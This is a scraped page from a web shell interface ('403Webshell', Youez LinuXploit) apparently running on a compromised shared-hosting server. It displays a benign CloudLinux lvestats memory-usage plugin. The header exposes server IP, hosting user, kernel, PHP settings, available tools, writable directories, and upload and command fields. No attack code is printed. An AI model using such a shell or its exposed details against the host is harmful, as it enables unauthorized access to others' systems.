403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.144.19.243
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/plugins/generic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/cloudlinux/venv/lib/python3.11/site-packages/lvestats/plugins/generic/lvestats_memory_usage.py
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
from __future__ import absolute_import
from __future__ import division
import logging
import os
import psutil
from guppy import hpy
from lvestats.core.plugin import LveStatsPlugin


class LVEStatsMemoryUsage(LveStatsPlugin):
    def __init__(self):
        self.log = logging.getLogger('plugin.LVEStatsMemoryUsage')
        self.now = 0  # This changes in MainLoop
        self.period = 60 * 60
        self.threshold = 512
        try:
            self._process = psutil.Process(os.getpid())
        except AttributeError:
            self._process = None
            self.log.error("Process attribute in psutil is not available. psutil.__version__=%s", psutil.__version__)
        self._hpy = hpy()
        self._hpy.setrelheap()

    @staticmethod
    def split(value):
        return str(value).split("\n")

    def execute(self, lve_data):
        if self._process is None:
            return
        rss = self._process.memory_info()[0] / float(1024 * 1024)
        self.log.debug(str(rss))
        if rss >= self.threshold:
            heap = self._hpy.heap()[:10]
            result = {
                'heap': self.split(heap),
                'byid': self.split(heap.byid),
                'byvia': self.split(heap.byvia),
                'byrcs': self.split(heap.byrcs)}
            self.log.error("LVEStats uses too much memory", extra=result)
        elif rss < self.threshold/2:
            self._hpy.setrelheap()

Youez - 2016 - github.com/yon3zu
LinuXploit